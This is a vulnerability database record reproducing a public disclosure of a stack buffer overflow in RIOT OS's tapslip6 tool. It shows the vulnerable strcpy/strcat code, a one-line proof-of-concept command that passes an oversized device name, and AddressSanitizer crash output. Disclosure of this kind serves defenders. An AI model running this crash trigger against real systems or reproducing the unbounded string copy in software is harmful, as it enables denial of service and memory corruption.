GCVE-1988-2026-0317
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
Summary
A stack-based buffer overflow vulnerability exists in the tapslip6 utility
distributed with RIOT OS (and derived from the legacy uIP/Contiki
networking tools). The vulnerability is caused by unsafe string
concatenation in the devopen() function, which constructs a device path
using unbounded user-controlled input.
Specifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed
prefix "/dev/" with a user-supplied device name provided via the -s
command-line option. No bounds checking is performed, allowing an attacker
to supply an excessively long device name and overflow a fixed-size stack
buffer. This issue can lead to process crashes and memory corruption. While
exploitation requires local access, the affected utility is commonly
executed with elevated privileges during development, testing, or
deployment of RIOT OS networking environments, increasing impact.
*Root Cause:*int devopen(const char *dev, int flags)
{
char t[1024];
strcpy(t, "/dev/");
strcat(t, dev);
return open(t, flags);
}
*Impact:*
- Stack-based buffer overflow
- Process termination (Denial of Service)
- Memory corruption
*Proof of Concept:*./tapslip6 -s $(python3 - << 'EOF'
print("A"*3000)
EOF
) 10.0.0.1 255.255.255.0
*Output:*=================================================================
==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0
WRITE of size 3001 at 0xfbffa6001140 thread T0
#0 0xaaaab3e609a0 in strcat
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
#1 0xaaaab3ec04f0 in devopen
/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5
#2 0xaaaab3ec04f0 in main
/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18
#3 0xffffa7a42598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3
#5 0xaaaab3dd73ec in _start
(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
Address 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in
frame
#0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543
SUMMARY: AddressSanitizer: stack-buffer-overflow
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat
_______________________________________________
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https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/15 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
Relationships
analysis
GCVE-1988-2026-0317 (this record)
- possibly related CVE-2021-27427
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"value": "A stack-based buffer overflow vulnerability exists in the tapslip6 utility\ndistributed with RIOT OS (and derived from the legacy uIP/Contiki\nnetworking tools). The vulnerability is caused by unsafe string\nconcatenation in the devopen() function, which constructs a device path\nusing unbounded user-controlled input.\nSpecifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed\nprefix \"/dev/\" with a user-supplied device name provided via the -s\ncommand-line option. No bounds checking is performed, allowing an attacker\nto supply an excessively long device name and overflow a fixed-size stack\nbuffer. This issue can lead to process crashes and memory corruption. While\nexploitation requires local access, the affected utility is commonly\nexecuted with elevated privileges during development, testing, or\ndeployment of RIOT OS networking environments, increasing impact.\n\n\n\n*Root Cause:*int devopen(const char *dev, int flags)\n{\n char t[1024];\n strcpy(t, \"/dev/\");\n strcat(t, dev);\n return open(t, flags);\n}\n\n*Impact:*\n\n - Stack-based buffer overflow\n - Process termination (Denial of Service)\n - Memory corruption\n\n\n\n\n*Proof of Concept:*./tapslip6 -s $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\"*3000)\nEOF\n) 10.0.0.1 255.255.255.0\n\n\n\n*Output:*=================================================================\n==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0\nWRITE of size 3001 at 0xfbffa6001140 thread T0\n #0 0xaaaab3e609a0 in strcat\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n #1 0xaaaab3ec04f0 in devopen\n/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5\n #2 0xaaaab3ec04f0 in main\n/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18\n #3 0xffffa7a42598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #5 0xaaaab3dd73ec in _start\n(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)\n\nAddress 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in\nframe\n #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543\n\nSUMMARY: AddressSanitizer: stack-buffer-overflow\n(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:\ncf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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